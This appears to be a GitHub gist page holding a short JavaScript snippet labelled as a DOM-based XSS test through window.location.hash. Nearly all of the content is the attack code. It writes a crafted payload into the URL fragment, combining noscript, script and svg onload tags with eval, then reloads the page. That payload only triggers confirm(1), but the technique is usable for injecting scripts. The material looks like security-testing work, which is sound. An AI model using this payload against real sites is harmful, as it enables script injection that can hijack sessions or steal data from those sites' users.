Skip to content

Instantly share code, notes, and snippets.

@xsscx

xsscx/gist:3bec235365d3c1d5b636203689129196

Created October 9, 2016 13:41
Show Gist options
  • Save xsscx/3bec235365d3c1d5b636203689129196 to your computer and use it in GitHub Desktop.
Save xsscx/3bec235365d3c1d5b636203689129196 to your computer and use it in GitHub Desktop.
Download ZIP
window.location.hash test domxss console.log(location.hash);
Raw
gistfile1.txt
console.log(location.hash);
var tabValue = document.URL;
window.location = tabValue.substring(0, tabValue.lastIndexOf("#"));
console.log(location.hash);
window.location.hash = `#<noscript><script>confirm(1)&k7="><svg/t='&k8='onload='/&k9=/+eval(t)'`
location.reload();
console.log(location.hash);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment